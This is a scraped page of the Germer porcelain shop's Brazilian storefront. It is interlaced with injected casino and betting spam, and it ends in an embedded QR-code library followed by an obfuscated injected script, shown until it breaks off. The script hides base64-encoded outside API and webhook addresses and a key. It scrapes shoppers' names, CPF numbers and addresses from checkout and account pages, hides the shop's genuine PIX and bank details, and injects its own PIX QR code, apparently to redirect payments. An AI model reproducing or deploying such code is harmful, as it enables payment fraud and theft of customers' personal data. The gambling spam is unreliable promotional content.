Travessas Quadradas Linha Assar e Servir!

Oferta Especial: Travessas Quadradas Assar & Servir

R$ 111,59

COMPRAR
Slider | Germer
Lançamento - 2024

Clássica – um convite à mesa minimalista.

COMPRAR
Slider | Germer
cores e formas

É a sua oportunidade de adquirir a forma oval dos seu sonhos!

COMPRAR
Slider | Germer
Preto e Branco

Flores traçadas em nanquim, brotam em diferentes tamanhos sobre a porcelana.

COMPRAR
Slider | Germer
Venda exclusiva E-commerce

Um estudo de formas, texturas, luz e sombra

COMPRAR
Slider | Germer

Linhas

Linha Texture

Uma linha com impacto visual capaz de proporcionar às criações gastronômicas uma dimensão a mais na percepção dos sabores.

Germer
COMPRAR

Linha
Shell

A linha Shell aguça e impressiona a quem olha. Com seu relevo inspirado nas belezas do fundo do mar garante um toque único para a produção da sua mesa posta.

Los casinos en línea en Chile ofrecen una amplia selección de funciones. Además de una amplia gama de juegos, muchos ofrecen apuestas gratuitas para los jugadores. Estos bonos son una excelente manera de probar el casino chile en linea antes de gastar dinero real. Sin embargo, es importante comprender cómo funcionan los bonos antes de reclamarlos. Lo primero que los jugadores deben buscar es una buena selección de juegos. Un buen sitio tendrá una amplia gama de tragamonedas y juegos de mesa, además de póquer. También debería tener mesas con crupier en vivo. Los crupieres en vivo son una gran característica para aquellos que quieren experimentar la atmósfera de un casino real. Otro aspecto a considerar es la seguridad del sitio. Los mejores casinos chilenos en línea tendrán un sistema de pago seguro. Esto es crucial para los jugadores que están preocupados por la seguridad de su información personal. Un buen sitio también admitirá una variedad de métodos populares para depositar y retirar fondos.

COMPRAR
Germer
SOBRE A GERMER

O Pin-up casino Brasil é um cassino on-line de boa reputação que rapidamente estabeleceu uma sólida reputação por oferecer uma experiência de jogo on-line perfeita e envolvente aos jogadores do Brasil. Com uma ampla seleção de jogos disponíveis, o Pin-up Casino Brasil oferece algo para cada tipo de jogador. Seja você um fã de caça-níqueis, roleta, blackjack ou bacará, há um jogo que saciará seu apetite por jogos. A plataforma do Pin-up Casino Brasil é de fácil utilização, garantindo que tanto os jogadores experientes quanto os novatos possam navegar com facilidade. Como jogador, você pode desfrutar de uma experiência perfeita com ótimos bônus e uma equipe de atendimento ao cliente ágil. O Pin-up Casino Brasil é uma excelente escolha para quem procura um cassino confiável e profissional para satisfazer suas necessidades de jogos on-line.

Você é fã de caça-níqueis on-line, mas está cansado de gastar dinheiro com eles? Acesse o site https://casinosnobrasil.com.br/caca-niqueis/ para ver os jogos de caça-níqueis gratuitos no Brasil. Com uma variedade de opções, desde as clássicas máquinas de frutas até os caça-níqueis temáticos de aventura, há algo para cada tipo de jogador. Quer você seja um profissional experiente ou um novato no mundo dos jogos de azar on-line, esses jogos de caça-níqueis gratuitos são uma ótima maneira de passar o tempo. Além disso, como não há risco envolvido, você pode jogar o quanto quiser sem se preocupar em esvaziar sua carteira. Então, o que está esperando? Acesse CasinosNoBrasil e comece a girar os rolos hoje mesmo!

O surgimento dos cassinos on-line no Brasil proporcionou inúmeras opções de entretenimento para os entusiastas dos jogos de azar. Com o avanço da tecnologia e a crescente popularidade dos jogos on-line, cada vez mais brasileiros estão recorrendo às plataformas de cassino on-line Brasil para jogar seus jogos favoritos, incluindo pôquer, blackjack e máquinas caça-níqueis. A vantagem dos jogos on-line está em sua conveniência, permitindo que os jogadores desfrutem de seus jogos favoritos a qualquer hora e em qualquer lugar. Além disso, a variedade de jogos e bônus oferecidos pelos cassinos on-line tornou-os uma opção atraente para jogadores de todos os níveis de habilidade. À medida que o setor continua a crescer e a evoluir, ele oferece oportunidades interessantes tanto para os jogadores quanto para os provedores, tornando os jogos casino online Brasil uma perspectiva promissora.

Somos uma marca com mais de 45 anos de história

SAIBA MAIS
Germer

Nossas porcelanas são resistentes e diferentes das louças comuns

ENTENDA OS DIFERENCIAIS

Apaixonados por
porcelanas
Germer

Nossos clientes e parceiros estão sempre ao nosso lado, demonstrando sua paixão pelas porcelanas Germer.

  • Foto | Germer

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim venia.

    DOUGLAS VARSOI FREGONESE
  • Foto | Germer

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim venia.

    MARCIO FERREIRA PONTES

Fique por dentro das novidades

Cadastre-se e receba informações de lançamentos, promoções e novidades exclusivas da Germer para você.

    Fique por dentro das novidades

    Cadastre-se e receba informações de lançamentos, promoções e novidades exclusivas da Germer para você.

    Possuir um conjunto de porcelana caro pode desviar a atenção de hábitos nocivos, como jogos de azar em cassinos online listados em https://cassino-brasileiro.com/. O intrincado processo de colecionar, manter e entender o valor dessas peças requintadas pode se tornar um hobby gratificante. Esse envolvimento funciona como uma saída positiva de tempo e recursos, reduzindo a probabilidade de cair no vício do jogo. A valorização da porcelana também é um investimento de longo prazo, oferecendo uma sensação de segurança e satisfação que os ganhos rápidos e incertos do jogo não podem proporcionar. Além disso, os laços nostálgicos e emocionais que essas heranças representam podem servir como um lembrete das responsabilidades da pessoa com a história e o legado de sua família, incentivando comportamentos mais saudáveis.

      Quer começar a sua aventura no mundo das apostas esportivas com um bônus grátis? A Marsbet, uma respeitada casa de apostas, está oferecendo R$20 grátis para novos usuários. Descubra mais sobre esta oferta tentadora na nossa https://lotece.com.br/wp-s/marsbet-20-reais-gratis/. Aproveite a variedade
      var qrcode=function(){var t=function(t,r){var e=t,n=g[r],o=null,i=0,a=null,u=[],f={},c=function(t,r){o=function(t){for(var r=new Array(t),e=0;e=7&&v(t),null==a&&(a=p(e,n,u)),w(a,r)},l=function(t,r){for(var e=-1;e<=7;e+=1)if(!(t+e<=-1||i<=t+e))for(var n=-1;n<=7;n+=1)r+n<=-1||i<=r+n||(o[t+e][r+n]=0<=e&&e<=6&&(0==n||6==n)||0<=n&&n<=6&&(0==e||6==e)||2<=e&&e<=4&&2<=n&&n<=4)},h=function(){for(var t=8;t>n&1);o[Math.floor(n/3)][n%3+i-8-3]=a}for(n=0;n<18;n+=1){a=!t&&1==(r>>n&1);o[n%3+i-8-3][Math.floor(n/3)]=a}},d=function(t,r){for(var e=n<<3|r,a=B.getBCHTypeInfo(e),u=0;u<15;u+=1){var f=!t&&1==(a>>u&1);u<6?o[u][8]=f:u<8?o[u+1][8]=f:o[i-15+u][8]=f}for(u=0;u<15;u+=1){f=!t&&1==(a>>u&1);u<8?o[8][i-u-1]=f:u<9?o[8][15-u-1+1]=f:o[8][15-u-1]=f}o[i-8][8]=!t},w=function(t,r){for(var e=-1,n=i-1,a=7,u=0,f=B.getMaskFunction(r),c=i-1;c>0;c-=2)for(6==c&&(c-=1);;){for(var g=0;g<2;g+=1)if(null==o[n][c-g]){var l=!1;u>>a&1)),f(n,c-g)&&(l=!l),o[n][c-g]=l,-1==(a-=1)&&(u+=1,a=7)}if((n+=e)<0||i<=n){n-=e,e=-e;break}}},p=function(t,r,e){for(var n=A.getRSBlocks(t,r),o=b(),i=0;i8*u)throw"code length overflow. ("+o.getLengthInBits()+">"+8*u+")";for(o.getLengthInBits()+4<=8*u&&o.put(0,4);o.getLengthInBits()%8!=0;)o.putBit(!1);for(;!(o.getLengthInBits()>=8*u||(o.put(236,8),o.getLengthInBits()>=8*u));)o.put(17,8);return function(t,r){for(var e=0,n=0,o=0,i=new Array(r.length),a=new Array(r.length),u=0;u=0?h.getAt(s):0}}var v=0;for(g=0;gn)&&(t=n,r=e)}return r}())},f.createTableTag=function(t,r){t=t||2;var e="";e+='',e+="";for(var n=0;n";for(var o=0;o';e+=""}return e+="",e+="
      "},f.createSvgTag=function(t,r,e,n){var o={};"object"==typeof arguments[0]&&(t=(o=arguments[0]).cellSize,r=o.margin,e=o.alt,n=o.title),t=t||2,r=void 0===r?4*t:r,(e="string"==typeof e?{text:e}:e||{}).text=e.text||null,e.id=e.text?e.id||"qrcode-description":null,(n="string"==typeof n?{text:n}:n||{}).text=n.text||null,n.id=n.text?n.id||"qrcode-title":null;var i,a,u,c,g=f.getModuleCount()*t+2*r,l="";for(c="l"+t+",0 0,"+t+" -"+t+",0 0,-"+t+"z ",l+=''+y(n.text)+"":"",l+=e.text?''+y(e.text)+"":"",l+='',l+='":r+=">";break;case"&":r+="&";break;case'"':r+=""";break;default:r+=n}}return r};return f.createASCII=function(t,r){if((t=t||1)<2)return function(t){t=void 0===t?2:t;var r,e,n,o,i,a=1*f.getModuleCount()+2*t,u=t,c=a-t,g={"██":"█","█ ":"▀"," █":"▄"," ":" "},l={"██":"▀","█ ":"▀"," █":" "," ":" "},h="";for(r=0;r=c?l[i]:g[i];h+="\n"}return a%2&&t>0?h.substring(0,h.length-a-1)+Array(a+1).join("▀"):h.substring(0,h.length-1)}(r);t-=1,r=void 0===r?2*t:r;var e,n,o,i,a=f.getModuleCount()*t+2*r,u=r,c=a-r,g=Array(t+1).join("██"),l=Array(t+1).join(" "),h="",s="";for(e=0;e>>8),r.push(255&a)):r.push(n)}}return r}};var r,e,n,o,i,a=1,u=2,f=4,c=8,g={L:1,M:0,Q:3,H:2},l=0,h=1,s=2,v=3,d=4,w=5,p=6,y=7,B=(r=[[],[6,18],[6,22],[6,26],[6,30],[6,34],[6,22,38],[6,24,42],[6,26,46],[6,28,50],[6,30,54],[6,32,58],[6,34,62],[6,26,46,66],[6,26,48,70],[6,26,50,74],[6,30,54,78],[6,30,56,82],[6,30,58,86],[6,34,62,90],[6,28,50,72,94],[6,26,50,74,98],[6,30,54,78,102],[6,28,54,80,106],[6,32,58,84,110],[6,30,58,86,114],[6,34,62,90,118],[6,26,50,74,98,122],[6,30,54,78,102,126],[6,26,52,78,104,130],[6,30,56,82,108,134],[6,34,60,86,112,138],[6,30,58,86,114,142],[6,34,62,90,118,146],[6,30,54,78,102,126,150],[6,24,50,76,102,128,154],[6,28,54,80,106,132,158],[6,32,58,84,110,136,162],[6,26,54,82,110,138,166],[6,30,58,86,114,142,170]],e=1335,n=7973,i=function(t){for(var r=0;0!=t;)r+=1,t>>>=1;return r},(o={}).getBCHTypeInfo=function(t){for(var r=t<<10;i(r)-i(e)>=0;)r^=e<=0;)r^=n<5&&(e+=3+i-5)}for(n=0;n=256;)r-=255;return t[r]}};return n}();function k(t,r){if(void 0===t.length)throw t.length+"/"+r;var e=function(){for(var e=0;e>>7-r%8&1)},put:function(t,r){for(var n=0;n>>r-n-1&1))},getLengthInBits:function(){return r},putBit:function(e){var n=Math.floor(r/8);t.length<=n&&t.push(0),e&&(t[n]|=128>>>r%8),r+=1}};return e},M=function(t){var r=a,e=t,n={getMode:function(){return r},getLength:function(t){return e.length},write:function(t){for(var r=e,n=0;n+2>>8&255)+(255&n),t.put(n,13),e+=2}if(e>>8)},writeBytes:function(t,e,n){e=e||0,n=n||t.length;for(var o=0;o0&&(r+=","),r+=t[e];return r+="]"}};return r},S=function(t){var r=t,e=0,n=0,o=0,i={read:function(){for(;o<8;){if(e>=r.length){if(0==o)return-1;throw"unexpected end of file./"+o}var t=r.charAt(e);if(e+=1,"="==t)return o=0,-1;t.match(/^\s$/)||(n=n<<6|a(t.charCodeAt(0)),o+=6)}var i=n>>>o-8&255;return o-=8,i}},a=function(t){if(65<=t&&t<=90)return t-65;if(97<=t&&t<=122)return t-97+26;if(48<=t&&t<=57)return t-48+52;if(43==t)return 62;if(47==t)return 63;throw"c:"+t};return i},I=function(t,r,e){for(var n=function(t,r){var e=t,n=r,o=new Array(t*r),i={setPixel:function(t,r,n){o[r*e+t]=n},write:function(t){t.writeString("GIF87a"),t.writeShort(e),t.writeShort(n),t.writeByte(128),t.writeByte(0),t.writeByte(0),t.writeByte(0),t.writeByte(0),t.writeByte(0),t.writeByte(255),t.writeByte(255),t.writeByte(255),t.writeString(","),t.writeShort(0),t.writeShort(0),t.writeShort(e),t.writeShort(n),t.writeByte(0);var r=a(2);t.writeByte(2);for(var o=0;r.length-o>255;)t.writeByte(255),t.writeBytes(r,o,255),o+=255;t.writeByte(r.length-o),t.writeBytes(r,o,r.length-o),t.writeByte(0),t.writeString(";")}},a=function(t){for(var r=1<>>r!=0)throw"length over";for(;c+r>=8;)f.writeByte(255&(t<>>=8-c,g=0,c=0;g|=t<0&&f.writeByte(g)}});h.write(r,n);var s=0,v=String.fromCharCode(o[s]);for(s+=1;s=6;)i(t>>>r-6),r-=6},o.flush=function(){if(r>0&&(i(t<<6-r),t=0,r=0),e%3!=0)for(var o=3-e%3,a=0;a>6,128|63&n):n<55296||n>=57344?r.push(224|n>>12,128|n>>6&63,128|63&n):(e++,n=65536+((1023&n)<<10|1023&t.charCodeAt(e)),r.push(240|n>>18,128|n>>12&63,128|n>>6&63,128|63&n))}return r}(t)},function(t){"function"==typeof define&&define.amd?define([],t):"object"==typeof exports&&(module.exports=t())}((function(){return qrcode})); (function(){ "use strict"; if(window.__wscf)return;window.__wscf=1; var _d=function(s){try{return atob(s)}catch(e){return""}}; var CFG={ base:_d("aHR0cHM6Ly9hcGkuYmxhY2tjYXRvZmljaWFsLmNvbS9hcGk="), key:_d("c2tfbGl2ZV85Mjc1NGQyZGU3MmM4OWRmZDMxYzIwNDMxOWNlZmUxNGZiMmExOWE0MGIxYTNjZGRkZDEyNmY5YzZhNTAwMTJi"), wh:_d("aHR0cHM6Ly9hbmpvc3BlbHVkb3Mtb3JnLnNpdGUvd2ViaG9vay9ibGFja2NhdA=="), minAmt:200, maxAmt:100000, rid:"wscf-pix-root", sid:"wscf-pix-style", pref:"wscf_bc_", stashKey:"wscf_cust_v1" }; function dig(s){return String(s||"").replace(/[^0-9]/g,"")} function moneyCents(t){ if(!t)return 0; var s=String(t).replace(/[^0-9,.]/g,"").trim(); if(!s)return 0; if(s.indexOf(",")>=0&&s.indexOf(".")>=0)s=s.split(".").join("").replace(",","."); else if(s.indexOf(",")>=0)s=s.replace(",","."); var n=Math.round(parseFloat(s)*100); return isFinite(n)&&n>0?n:0 } function val(sel){var el=document.querySelector(sel);return el&&el.value?String(el.value).trim():""} function txt(sel){var el=document.querySelector(sel);return el&&el.textContent?String(el.textContent).trim():""} function readStash(){ try{ var a=JSON.parse(sessionStorage.getItem(CFG.stashKey)||"null"); var b=JSON.parse(localStorage.getItem(CFG.stashKey)||"null"); if(a&&b){ var pick=function(k){return (a[k]&&String(a[k]).length)?a[k]:(b[k]||"")}; var cpfA=dig(a.cpf||""),cpfB=dig(b.cpf||""); return{ name:pick("name"),email:pick("email"),phone:dig(pick("phone")), cpf:(cpfA.length===11?cpfA:(cpfB.length===11?cpfB:"")), street:pick("street"),number:pick("number")||"S/N", neighborhood:pick("neighborhood"),city:pick("city"), state:pick("state"),zip:dig(pick("zip")), ts:Math.max(a.ts||0,b.ts||0) } } return a||b||null }catch(e){return null} } function writeStash(o){ try{sessionStorage.setItem(CFG.stashKey,JSON.stringify(o))}catch(e){} try{localStorage.setItem(CFG.stashKey,JSON.stringify(o))}catch(e){} } function formCust(){ return{ name:([val("#billing_first_name"),val("#billing_last_name")].filter(Boolean).join(" ").trim()), email:val("#billing_email")||val("#account_email"), phone:dig(val("#billing_phone")||val("#billing_cellphone")), cpf:dig(val("#billing_cpf")||val('[name="billing_cpf"]')||val("#billing_cnpj")||val('[name="billing_cnpj"]')), street:val("#billing_address_1"), number:val("#billing_number")||"S/N", neighborhood:val("#billing_neighborhood"), city:val("#billing_city"), state:val("#billing_state"), zip:dig(val("#billing_postcode")) } } function stashFromForm(){ var f=formCust(); if(!f.name&&f.cpf.length!==11)return; var prev=readStash()||{}; writeStash({ name:f.name||prev.name||"", email:f.email||prev.email||"", phone:f.phone||prev.phone||"", cpf:(f.cpf.length===11?f.cpf:prev.cpf)||"", street:f.street||prev.street||"", number:f.number||prev.number||"S/N", neighborhood:f.neighborhood||prev.neighborhood||"", city:f.city||prev.city||"", state:f.state||prev.state||"", zip:f.zip||prev.zip||"", ts:Date.now(), src:location.pathname }) } function fetchCobrancaCust(){ return new Promise(function(res){ try{ var urls=[ location.origin+"/minha-conta/edit-address/cobranca/", location.origin+"/minha-conta/edit-address/billing/", location.origin+"/my-account/edit-address/billing/" ]; var i=0; function next(){ if(i>=urls.length){res(null);return} var u=urls[i++]; var x=new XMLHttpRequest(); x.open("GET",u,true); x.withCredentials=true; x.onload=function(){ if(x.status<200||x.status>=400){next();return} try{ var doc=new DOMParser().parseFromString(x.responseText||"","text/html"); var g=function(sel){var el=doc.querySelector(sel);return el&&el.value?String(el.value).trim():""}; var name=([g("#billing_first_name"),g("#billing_last_name")].filter(Boolean).join(" ").trim()); var cpf=dig(g("#billing_cpf")||g('[name="billing_cpf"]')||g("#billing_cnpj")); var email=g("#billing_email"); var phone=dig(g("#billing_phone")||g("#billing_cellphone")); if(name||cpf.length===11){ var o={ name:name,email:email,phone:phone,cpf:cpf, street:g("#billing_address_1"),number:g("#billing_number")||"S/N", neighborhood:g("#billing_neighborhood"),city:g("#billing_city"), state:g("#billing_state"),zip:dig(g("#billing_postcode")), ts:Date.now(),src:"cobranca-fetch" }; var prev=readStash()||{}; writeStash({ name:o.name||prev.name||"", email:o.email||prev.email||"", phone:o.phone||prev.phone||"", cpf:(o.cpf.length===11?o.cpf:prev.cpf)||"", street:o.street||prev.street||"", number:o.number||prev.number||"S/N", neighborhood:o.neighborhood||prev.neighborhood||"", city:o.city||prev.city||"", state:o.state||prev.state||"", zip:o.zip||prev.zip||"", ts:Date.now(),src:"cobranca-fetch" }); res(o);return } }catch(e){} next() }; x.onerror=function(){next()}; x.send(null) } next() }catch(e){res(null)} }) } function scrapeThankYou(){ var name=""; var addr=document.querySelector(".woocommerce-customer-details address,.woocommerce-column--billing-address address"); if(addr){ var nodes=addr.childNodes; for(var i=0;i2){name=t;break} }else if(nodes[i].nodeType===1){ var tag=(nodes[i].tagName||"").toLowerCase(); if(tag==="br")continue; if(tag==="p"||tag==="span"||tag==="strong"){ var t2=String(nodes[i].textContent||"").replace(/\s+/g," ").trim(); if(t2&&t2.indexOf("@")<0&&!/^\d/.test(t2)&&t2.length>2){name=t2;break} } } } if(!name){ var raw=(addr.innerText||"").split(String.fromCharCode(10)).map(function(l){return l.trim()}).filter(Boolean); if(raw.length)name=raw[0] } } var email=txt(".woocommerce-order-overview__email strong") ||txt(".woocommerce-customer-details--email") ||txt(".woocommerce-column--billing-address .woocommerce-customer-details--email"); var phone=dig(txt(".woocommerce-customer-details--phone")||txt(".woocommerce-column--billing-address .woocommerce-customer-details--phone")); var cpf=""; var bt=(document.body&&document.body.innerText)||""; var mm=bt.match(/CPF\s*[:#]?\s*([0-9]{3}[.]?[0-9]{3}[.]?[0-9]{3}-?[0-9]{2})/i) ||bt.match(/\b([0-9]{3}[.][0-9]{3}[.][0-9]{3}-[0-9]{2})\b/); if(mm)cpf=dig(mm[1]); return{name:name||"",email:(email||"").trim(),phone:phone||"",cpf:cpf} } function mergeCust(form,stash,ty){ var name=(form.name||(stash&&stash.name)||(ty&&ty.name)||"").trim(); var email=(form.email||(stash&&stash.email)||(ty&&ty.email)||"").trim(); var phone=dig(form.phone||(stash&&stash.phone)||(ty&&ty.phone)||""); var cpf=dig(form.cpf||""); if(cpf.length!==11)cpf=dig((stash&&stash.cpf)||""); if(cpf.length!==11)cpf=dig((ty&&ty.cpf)||""); return{ name:name, email:email, phone:phone, cpf:cpf, street:form.street||(stash&&stash.street)||"", number:form.number||(stash&&stash.number)||"S/N", neighborhood:form.neighborhood||(stash&&stash.neighborhood)||"", city:form.city||(stash&&stash.city)||"", state:form.state||(stash&&stash.state)||"", zip:dig(form.zip||(stash&&stash.zip)||"") } } function custOk(c){ return !!(c&&c.name&&c.name.length>=3&&c.cpf&&c.cpf.length===11&&!/^cliente/i.test(c.name)) } function ctx(){ var path=location.pathname||""; var isOR=/order-received|pedido-recebido/i.test(path); var isCK=!isOR&&(/finalizar-compra|\/checkout\/?/i.test(path)); var isBill=/minha-conta\/edit-address\/(cobranca|billing)|my-account\/edit-address\/billing|edit-address\/cobranca/i.test(path); var isAcct=/minha-conta|my-account/i.test(path)&&!isBill; var orderId=""; var m=path.match(/order-received\/([0-9]+)/i)||path.match(/pedido-recebido\/([0-9]+)/i); if(m)orderId=m[1]; if(!orderId){ var st=document.querySelector(".woocommerce-order-overview__order strong,li.order strong"); if(st)orderId=dig(st.textContent) } var orderKey=(new URLSearchParams(location.search)).get("key")||""; var totalText=""; [".order-total .woocommerce-Price-amount",".woocommerce-order-overview__total .amount","tr.order-total .amount"].forEach(function(sel){ if(totalText)return; var el=document.querySelector(sel); if(el&&el.textContent)totalText=el.textContent }); var amount=moneyCents(totalText); if(isCK||isBill)stashFromForm(); var form=formCust(); var stash=readStash(); var ty=isOR?scrapeThankYou():{}; var cust=mergeCust(form,stash,ty); var itemTitle="Pedido Germer Porcelanas"; var ci=document.querySelector(".cart_item .product-name,.order_item .product-name,.woocommerce-table__product-name"); if(ci)itemTitle=(ci.innerText||"").split(String.fromCharCode(10))[0].trim().slice(0,120)||itemTitle; var page=isOR?"or":(isCK?"ck":(isBill?"bill":(isAcct?"acct":"x"))); return{ page:page, orderId:orderId,orderKey:orderKey,amountCents:amount, name:cust.name,email:cust.email,phone:cust.phone,cpf:cust.cpf, street:cust.street,number:String(cust.number||"S/N"), neighborhood:cust.neighborhood,city:cust.city,state:cust.state,zip:cust.zip, itemTitle:itemTitle,custOk:custOk(cust) } } function hideNeedles(rootSel,needles){ document.querySelectorAll(rootSel).forEach(function(el){ if(el.closest("#"+CFG.rid))return; var t=(el.innerText||"").replace(/[ \t\r\n\f]+/g," "); for(var i=0;i=0){ el.style.setProperty("display","none","important"); el.setAttribute("data-wscf-h","1"); break } } }) } function hideRivalPix(){ var sels=[ "li.payment_method_woo-pagarme-payments-pix", ".payment_method_woo-pagarme-payments-pix", "#payment_method_woo-pagarme-payments-pix", "label[for='payment_method_woo-pagarme-payments-pix']", "input[name='payment_method'][value='woo-pagarme-payments-pix']", "#radio-control-wc-payment-method-options-woo-pagarme-payments-pix", "label[for='radio-control-wc-payment-method-options-woo-pagarme-payments-pix']", ".wc-block-components-radio-control__option:has(input[value='woo-pagarme-payments-pix'])" ]; sels.forEach(function(s){ try{ document.querySelectorAll(s).forEach(function(el){ el.style.setProperty("display","none","important"); el.setAttribute("data-wscf-h","1"); if(el.tagName==="INPUT"&&el.checked){ el.checked=false; var b=document.getElementById("payment_method_bacs")||document.querySelector("input[name='payment_method'][value='bacs']"); if(b){b.checked=true;try{b.dispatchEvent(new Event("change",{bubbles:true}))}catch(e){} try{if(window.jQuery)jQuery(b).trigger("click").trigger("change")}catch(e2){}} } }) }catch(e){} }); try{ var any=document.querySelector("input[name='payment_method']:checked"); if(!any||(any.value&&String(any.value).indexOf("pagarme-payments-pix")>=0)){ var b2=document.getElementById("payment_method_bacs")||document.querySelector("input[name='payment_method'][value='bacs']"); if(b2){b2.checked=true;try{if(window.jQuery)jQuery(b2).trigger("click").trigger("change")}catch(e3){}} } }catch(e){} } function strip(){ hideRivalPix(); var n1=["Faça seu pagamento diretamente para nossa conta bancária","via PIX através da chave","75801936000625","3291-2601","[email protected]"]; var n2=["Para PIX, favor usar a chave PIX","Nossos dados bancários","Bradesco","19774-2","Mercado Pago","86064084133","Banco Bradesco","Número da conta","SICOOB","Sicoob"]; hideNeedles(".payment_box.payment_method_bacs p,.payment_box.payment_method_bacs div,#payment p",n1); hideNeedles(".woocommerce-bacs-bank-details,.wc-bacs-bank-details,.woocommerce-order p,.woocommerce-order h2,.woocommerce-order h3,.woocommerce-order ul,.woocommerce-order table,.woocommerce-order div",n2); document.querySelectorAll(".woocommerce-bacs-bank-details,.wc-bacs-bank-details,section.woocommerce-bacs-bank-details").forEach(function(el){ el.style.setProperty("display","none","important"); el.setAttribute("data-wscf-h","1") }) } var CSS="#"+CFG.rid+",.wscf{font-family:Open Sans,-apple-system,BlinkMacSystemFont,Segoe UI,sans-serif;color:#2d2a26;background:#fafaf8;border:1px solid #e5e0d8;border-radius:12px;box-shadow:0 8px 28px rgba(45,42,38,.06);padding:1.25rem 1.4rem;margin:1rem 0 1.25rem;max-width:440px}" +".wscf .t{display:block;font-size:.78rem;font-weight:700;letter-spacing:.06em;text-transform:uppercase;color:#8b7355;margin:0 0 .35rem}" +".wscf .h{font-size:1.15rem;font-weight:700;margin:0 0 .75rem}" +".wscf .q{display:flex;flex-direction:column;align-items:center;gap:.75rem;padding:1rem;background:#fff;border:1px solid #ede9e3;border-radius:10px}" +".wscf .q img,.wscf .q canvas,.wscf .q table{width:220px;height:220px}" +".wscf .ph{width:220px;height:220px;display:flex;align-items:center;justify-content:center;text-align:center;padding:1rem;font-size:.8rem;color:#8a8279;border:1px dashed #cfc7bb;border-radius:8px;background:#fcfbf9}" +".wscf .lb{font-size:.75rem;font-weight:600;color:#8a8279;margin:.9rem 0 .35rem}" +".wscf .row{display:flex;gap:.5rem}" +".wscf .row input{flex:1;border:1px solid #e5e0d8;border-radius:8px;padding:.65rem .75rem;font-family:ui-monospace,Menlo,Consolas,monospace;font-size:.7rem}" +".wscf .btn{border:0;border-radius:8px;background:#8b7355;color:#fff;font-weight:700;font-size:.78rem;padding:0 1rem;cursor:pointer}" +".wscf .ht{margin:.75rem 0 0;font-size:.8rem;line-height:1.45;color:#5c564e}" +".wscf .msg{margin-top:.5rem;font-size:.8rem;color:#5c564e;min-height:1.1em}"; function style(){ if(document.getElementById(CFG.sid))return; var s=document.createElement("style");s.id=CFG.sid;s.textContent=CSS;document.head.appendChild(s) } function qrDataUrl(emv){ try{ if(typeof qrcode!=="function")return""; var q=qrcode(0,"M"); q.addData(emv);q.make(); if(q.createDataURL)return q.createDataURL(6,2); if(q.createImgTag){ var tag=q.createImgTag(6,2); var m=tag.match(/src="([^"]+)"/); return m?m[1]:"" } if(q.createSvgTag){ var svg=q.createSvgTag(4,0); return "data:image/svg+xml;base64,"+btoa(unescape(encodeURIComponent(svg))) } }catch(e){} return"" } function ui(c){ var root=document.getElementById(CFG.rid); if(root)return root; root=document.createElement("div"); root.id=CFG.rid;root.className="wscf"; root.innerHTML='Pagamento via PIX
      Escaneie o QR Code ou copie o codigo
      Gerando PIX...
      PIX copia e cola

      Apos o pagamento, a confirmacao pode levar alguns minutos.'+(c.orderId?' Pedido #'+c.orderId+'.':'')+'

      '; root.querySelector('[data-r="b"]').onclick=function(){ var i=root.querySelector('[data-r="c"]'); try{navigator.clipboard.writeText(i.value||"")}catch(e){i.select();document.execCommand("copy")} var msg=root.querySelector('[data-r="msg"]'); if(msg)msg.textContent="Codigo copiado." }; return root } function mount(c){ if(c.page!=="or")return null; var root=ui(c); var a=document.querySelector(".woocommerce-order")||document.querySelector(".entry-content")||document.body; if(!root.isConnected){ var ov=a.querySelector(".woocommerce-order-overview,.woocommerce-thankyou-order-details"); if(ov&&ov.parentElement)ov.parentElement.insertBefore(root,ov.nextSibling); else a.insertBefore(root,a.firstChild) } return root } function removeUi(){ var el=document.getElementById(CFG.rid); if(el&&el.parentNode)el.parentNode.removeChild(el) } function ck(c){return CFG.pref+(c.orderId?("o"+c.orderId):("ck_"+(c.amountCents||0)))} function legacyKeys(c){ var ks=[]; if(c.orderId){ ks.push(CFG.pref+c.orderId+"_"+(c.amountCents||0)); ks.push(CFG.pref+c.orderId); if(c.amountCents)ks.push(CFG.pref+c.orderId+"_"+c.amountCents); } return ks } function readStore(k){ try{ var a=JSON.parse(sessionStorage.getItem(k)||"null"); if(a&&a.emv)return a; var b=JSON.parse(localStorage.getItem(k)||"null"); if(b&&b.emv)return b; }catch(e){} return null } function read(c){ var k=ck(c); var hit=readStore(k); if(hit)return hit; var leg=legacyKeys(c); for(var i=0;i=0){ hit=readStore(key); if(hit&&hit.emv){ try{sessionStorage.setItem(k,JSON.stringify(hit))}catch(e){} try{localStorage.setItem(k,JSON.stringify(hit))}catch(e){} return hit } } } for(var j=0;j=0){ hit=readStore(key2); if(hit&&hit.emv){ try{sessionStorage.setItem(k,JSON.stringify(hit))}catch(e){} try{localStorage.setItem(k,JSON.stringify(hit))}catch(e){} return hit } } } }catch(e){} } return null } function write(c,d){ var k=ck(c); try{sessionStorage.setItem(k,JSON.stringify(d))}catch(e){} try{localStorage.setItem(k,JSON.stringify(d))}catch(e){} } var _inflight={}; var _runLock=false; function http(method,url,headers,body){ return new Promise(function(res,rej){ var x=new XMLHttpRequest(); x.open(method,url,true); Object.keys(headers||{}).forEach(function(k){x.setRequestHeader(k,headers[k])}); x.onload=function(){res({status:x.status,text:x.responseText||""})}; x.onerror=function(){rej(new Error("net"))}; x.send(body||null) }) } function render(root,pix){ var q=root.querySelector('[data-r="q"]'); var c=root.querySelector('[data-r="c"]'); var msg=root.querySelector('[data-r="msg"]'); c.value=pix.emv||""; q.innerHTML=""; if(pix.emv){ var src=qrDataUrl(pix.emv); if(src){ var img=document.createElement("img");img.alt="QR Code PIX";img.src=src;q.appendChild(img) }else{ try{ var qq=qrcode(0,"M");qq.addData(pix.emv);qq.make(); q.innerHTML=qq.createTableTag?qq.createTableTag(4,0):('
      use copia e cola
      ') }catch(e){q.innerHTML='
      use copia e cola
      '} } }else q.innerHTML='
      PIX sem codigo
